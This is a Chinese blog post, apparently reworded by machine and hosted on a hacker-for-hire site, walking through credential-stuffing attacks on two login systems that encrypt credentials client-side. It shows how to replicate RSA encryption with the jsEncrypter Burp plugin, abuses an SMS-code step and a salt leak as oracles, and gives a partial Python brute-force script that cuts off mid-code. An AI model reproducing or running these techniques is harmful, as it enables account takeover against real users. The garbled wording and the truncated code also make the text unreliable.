最近遇到两个个事例,通过一番倒腾,发现其登录功用均可撞库。可是都存在登录数据本地加密,有空了放一同总结记载一下。
一、事例1(RSA本地加密)
了解:
首要,进行正常登录逻辑测验,发现该体系登录逻辑分下面两步:
输入正确用户名暗码,校验正确后,向注册手机号发送验证码;
输入正确验证码,登录体系。
从该逻辑可知此处可通过填写登录用户名暗码后是否发送验证码来判别输入数据是否为正确用户登录凭据,因为站点未对获取验证码提交频率作任何约束,然后可自动化提交来获取该站点正确用户名暗码。
演习:
在google的进程中,很快的找到了一款burpsuite套件:jsEncrypter(感谢作者供给这么利索的插件)。下载地址:https://github.com/c0ny1/jsEncrypter/releases。
装置完成后,咱们将jsencrypt.min.js下载至本地。然后对站点体系前端代码进行调试,剖析前端处理进程,编写js模板文件。
在审计前端源代码页面中,能够找到,在ui目录下的lib文件夹下有一个security文件夹,而其间的rsa_util.js便是调用jsencrypt.min.js文件种的JSEncrypt办法对用户名暗码进行加密。
咱们能够很清楚看到加密进程,然后依据jsEncrypter的readme文档中的运用指南,咱们能够依据其调用逻辑,自行编写一个jsEncrypter_rsa.js文件,来调用jsencrypt.min.js文件为咱们的明文数据进行加密。
这里有两个小坑:
由动态调试可知,公钥_pubk在cookie中以url编码后的方法存储,因而,咱们本地调用,需求解码一下,在这里,关于换行符,需求用n替换。
因为jsEncrypter插件运用了phantomjs渠道,而phantomjs支撑url解码的函数为encodeURIComponent。因而不能运用与体系前端共同的encodeURI函数。
然后仿写体系加密的方法,将公钥以及调用逻辑写入到咱们自己的js文件中:
进犯:
1、运转phantomJS并测验。
2、Burpsuite验证,调用成功:
3、抓包,加载字典,施行爆炸(两个参数的字典都运用插件):
然后,成功爆炸:
二、事例2(md5本地加密)
了解:
首要通过剖析用户登录进程,发现该站点登录无验证码,可屡次提交登录数据,可是其用户名暗码在本地进行了md5加密处理。因而,撞库之前需求本地实现将字典进行加密操作后再提交。
对登录功用抓包剖析后,能够看到在填写用户名暗码后,前端发送如下数据包获取cd、salt数据包:
此处存在salt走漏危险,可遍历手机号,关于未注册⽤用户,返回值⽆salt,关于已注册⽤户salt值稳定。
而施行撞库,需求先恳求得到salt与cd值。然后可早年端代码中得到加密用户名暗码进程:
pass通过本地md5加密后, 发送至服务端进行登录校验。
演习:
因而,咱们只需求用脚本,先输入用户名即手机号,恳求得到cd、salt值,然后再从暗码字典中,取出暗码进行md5加密,最终发包恳求即可。编写python脚本如下:
#-*- coding=utf-8 -*-
import requests
import hashlib
import json
def GetPass():
fp = open("./pass.txt","r")
if fp == 0:
print ("open file error!")
return;
while 1:
line = fp.readline()
if not line:
break
passwd = line.strip('n')
Brute_Force_Dididai("150****1403",passwd);
def Brute_Force_Dididai(username,password):
# url = ""
s = requests.Session()
s.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/51.0.2704.103 Safari/537.36',
'X-Requested-With': 'XMLHttpRequest',
}
url = "http://www.foo.com/?m=&s=getcd"
data = {"username":username}
html = s.post(url,data = data)
print html.content
salt_cd = json.loads(html.content)
print salt_cd['salt']
print salt_cd['cd']
md5_pass = hashlib.md5(password.encode('utf-8')).hexdigest()+salt_cd['salt']
md5_salt = hashlib.md5(md5_pass.encode('utf-8')).hexdigest()+str(salt_cd['cd'])
[1] [2] 黑客接单网